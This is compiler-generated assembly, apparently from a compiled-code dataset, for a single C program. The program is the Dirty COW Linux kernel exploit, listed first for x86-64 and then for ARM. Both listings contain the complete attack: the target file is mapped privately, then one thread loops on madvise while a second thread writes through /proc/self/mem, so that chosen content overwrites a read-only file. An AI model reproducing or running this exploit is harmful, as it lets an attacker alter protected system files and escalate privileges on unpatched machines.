	.file	"290739.c"
	.intel_syntax noprefix
	.text
	.globl	map
	.bss
	.align 8
	.type	map, @object
	.size	map, 8
map:
	.zero	8
	.globl	f
	.align 4
	.type	f, @object
	.size	f, 4
f:
	.zero	4
	.globl	st
	.align 32
	.type	st, @object
	.size	st, 144
st:
	.zero	144
	.globl	name
	.align 8
	.type	name, @object
	.size	name, 8
name:
	.zero	8
	.text
	.globl	madviseThread
	.type	madviseThread, @function
madviseThread:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	rax, QWORD PTR -24[rbp]
	mov	QWORD PTR -8[rbp], rax
	mov	DWORD PTR -12[rbp], 0
	mov	DWORD PTR -16[rbp], 0
	jmp	.L2
.L3:
	mov	rax, QWORD PTR map[rip]
	mov	edx, 4
	mov	esi, 100
	mov	rdi, rax
	call	madvise@PLT
	add	DWORD PTR -12[rbp], eax
	add	DWORD PTR -16[rbp], 1
.L2:
	cmp	DWORD PTR -16[rbp], 999999
	jle	.L3
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE0:
	.size	madviseThread, .-madviseThread
	.section	.rodata
.LC0:
	.string	"/proc/self/mem"
	.text
	.globl	procselfmemThread
	.type	procselfmemThread, @function
procselfmemThread:
.LFB1:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	QWORD PTR -40[rbp], rdi
	mov	rax, QWORD PTR -40[rbp]
	mov	QWORD PTR -8[rbp], rax
	mov	esi, 2
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -12[rbp], eax
	mov	DWORD PTR -16[rbp], 0
	mov	DWORD PTR -20[rbp], 0
	jmp	.L5
.L6:
	mov	rax, QWORD PTR map[rip]
	mov	rcx, rax
	mov	eax, DWORD PTR -12[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	call	lseek@PLT
	mov	rax, QWORD PTR -8[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	mov	rcx, QWORD PTR -8[rbp]
	mov	eax, DWORD PTR -12[rbp]
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
	mov	edx, eax
	mov	eax, DWORD PTR -16[rbp]
	add	eax, edx
	mov	DWORD PTR -16[rbp], eax
	add	DWORD PTR -20[rbp], 1
.L5:
	cmp	DWORD PTR -20[rbp], 199999
	jle	.L6
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE1:
	.size	procselfmemThread, .-procselfmemThread
	.section	.rodata
	.align 8
.LC1:
	.string	"usage: dirtyc0w target_file new_content"
.LC2:
	.string	"%s\n"
.LC3:
	.string	"Done!"
	.text
	.globl	main
	.type	main, @function
main:
.LFB2:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	DWORD PTR -36[rbp], edi
	mov	QWORD PTR -48[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	cmp	DWORD PTR -36[rbp], 2
	jg	.L8
	mov	rax, QWORD PTR stderr[rip]
	lea	rdx, .LC1[rip]
	lea	rsi, .LC2[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	eax, 1
	jmp	.L10
.L8:
	mov	rax, QWORD PTR -48[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	esi, 0
	mov	rdi, rax
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR f[rip], eax
	mov	eax, DWORD PTR f[rip]
	lea	rsi, st[rip]
	mov	edi, eax
	call	fstat@PLT
	mov	rax, QWORD PTR -48[rbp]
	mov	rax, QWORD PTR 8[rax]
	mov	QWORD PTR name[rip], rax
	mov	edx, DWORD PTR f[rip]
	mov	rax, QWORD PTR st[rip+48]
	mov	r9d, 0
	mov	r8d, edx
	mov	ecx, 2
	mov	edx, 1
	mov	rsi, rax
	mov	edi, 0
	call	mmap@PLT
	mov	QWORD PTR map[rip], rax
	mov	rax, QWORD PTR -48[rbp]
	add	rax, 8
	mov	rdx, QWORD PTR [rax]
	lea	rax, -24[rbp]
	mov	rcx, rdx
	lea	rdx, madviseThread[rip]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_create@PLT
	mov	rax, QWORD PTR -48[rbp]
	add	rax, 16
	mov	rdx, QWORD PTR [rax]
	lea	rax, -16[rbp]
	mov	rcx, rdx
	lea	rdx, procselfmemThread[rip]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_create@PLT
	mov	rax, QWORD PTR -24[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_join@PLT
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_join@PLT
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, 0
.L10:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L11
	call	__stack_chk_fail@PLT
.L11:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE2:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"290739.c"
	.text
	.comm	map,4,4
	.comm	f,4,4
	.comm	st,88,8
	.comm	name,4,4
	.align	2
	.global	madviseThread
	.syntax unified
	.arm
	.fpu softvfp
	.type	madviseThread, %function
madviseThread:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-24]
	ldr	r3, [fp, #-24]
	str	r3, [fp, #-8]
	mov	r3, #0
	str	r3, [fp, #-12]
	mov	r3, #0
	str	r3, [fp, #-16]
	b	.L2
.L3:
	ldr	r3, .L4
	ldr	r3, [r3]
	mov	r2, #4
	mov	r1, #100
	mov	r0, r3
	bl	madvise
	mov	r2, r0
	ldr	r3, [fp, #-12]
	add	r3, r3, r2
	str	r3, [fp, #-12]
	ldr	r3, [fp, #-16]
	add	r3, r3, #1
	str	r3, [fp, #-16]
.L2:
	ldr	r3, [fp, #-16]
	ldr	r2, .L4+4
	cmp	r3, r2
	blt	.L3
	nop
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L5:
	.align	2
.L4:
	.word	map
	.word	1000000
	.size	madviseThread, .-madviseThread
	.section	.rodata
	.align	2
.LC0:
	.ascii	"/proc/self/mem\000"
	.text
	.align	2
	.global	procselfmemThread
	.syntax unified
	.arm
	.fpu softvfp
	.type	procselfmemThread, %function
procselfmemThread:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-24]
	ldr	r3, [fp, #-24]
	str	r3, [fp, #-12]
	mov	r1, #2
	ldr	r0, .L9
	bl	open
	str	r0, [fp, #-8]
	mov	r3, #0
	str	r3, [fp, #-16]
	mov	r3, #0
	str	r3, [fp, #-20]
	b	.L7
.L8:
	ldr	r3, .L9+4
	ldr	r3, [r3]
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-8]
	bl	lseek
	ldr	r0, [fp, #-12]
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r1, [fp, #-12]
	ldr	r0, [fp, #-8]
	bl	write
	mov	r2, r0
	ldr	r3, [fp, #-16]
	add	r3, r3, r2
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-20]
	add	r3, r3, #1
	str	r3, [fp, #-20]
.L7:
	ldr	r3, [fp, #-20]
	ldr	r2, .L9+8
	cmp	r3, r2
	blt	.L8
	nop
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L10:
	.align	2
.L9:
	.word	.LC0
	.word	map
	.word	200000
	.size	procselfmemThread, .-procselfmemThread
	.section	.rodata
	.align	2
.LC1:
	.ascii	"usage: dirtyc0w target_file new_content\000"
	.align	2
.LC2:
	.ascii	"%s\012\000"
	.align	2
.LC3:
	.ascii	"Done!\000"
	.align	2
.LC4:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #32
	str	r0, [fp, #-24]
	str	r1, [fp, #-28]
	ldr	r3, .L16
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-24]
	cmp	r3, #2
	bgt	.L12
	ldr	r3, .L16+4
	ldr	r3, [r3]
	ldr	r2, .L16+8
	ldr	r1, .L16+12
	mov	r0, r3
	bl	fprintf
	mov	r3, #1
	b	.L14
.L12:
	ldr	r3, [fp, #-28]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r1, #0
	mov	r0, r3
	bl	open
	mov	r3, r0
	ldr	r2, .L16+16
	str	r3, [r2]
	ldr	r3, .L16+16
	ldr	r3, [r3]
	ldr	r1, .L16+20
	mov	r0, r3
	bl	fstat
	ldr	r3, [fp, #-28]
	ldr	r3, [r3, #4]
	ldr	r2, .L16+24
	str	r3, [r2]
	ldr	r3, .L16+20
	ldr	r3, [r3, #44]
	mov	r1, r3
	ldr	r3, .L16+16
	ldr	r3, [r3]
	mov	r2, #0
	str	r2, [sp, #4]
	str	r3, [sp]
	mov	r3, #2
	mov	r2, #1
	mov	r0, #0
	bl	mmap
	mov	r3, r0
	ldr	r2, .L16+28
	str	r3, [r2]
	ldr	r3, [fp, #-28]
	add	r3, r3, #4
	ldr	r3, [r3]
	sub	r0, fp, #16
	ldr	r2, .L16+32
	mov	r1, #0
	bl	pthread_create
	ldr	r3, [fp, #-28]
	add	r3, r3, #8
	ldr	r3, [r3]
	sub	r0, fp, #12
	ldr	r2, .L16+36
	mov	r1, #0
	bl	pthread_create
	ldr	r3, [fp, #-16]
	mov	r1, #0
	mov	r0, r3
	bl	pthread_join
	ldr	r3, [fp, #-12]
	mov	r1, #0
	mov	r0, r3
	bl	pthread_join
	ldr	r0, .L16+40
	bl	printf
	mov	r3, #0
.L14:
	ldr	r2, .L16
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L15
	bl	__stack_chk_fail
.L15:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L17:
	.align	2
.L16:
	.word	.LC4
	.word	stderr
	.word	.LC1
	.word	.LC2
	.word	f
	.word	st
	.word	name
	.word	map
	.word	madviseThread
	.word	procselfmemThread
	.word	.LC3
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
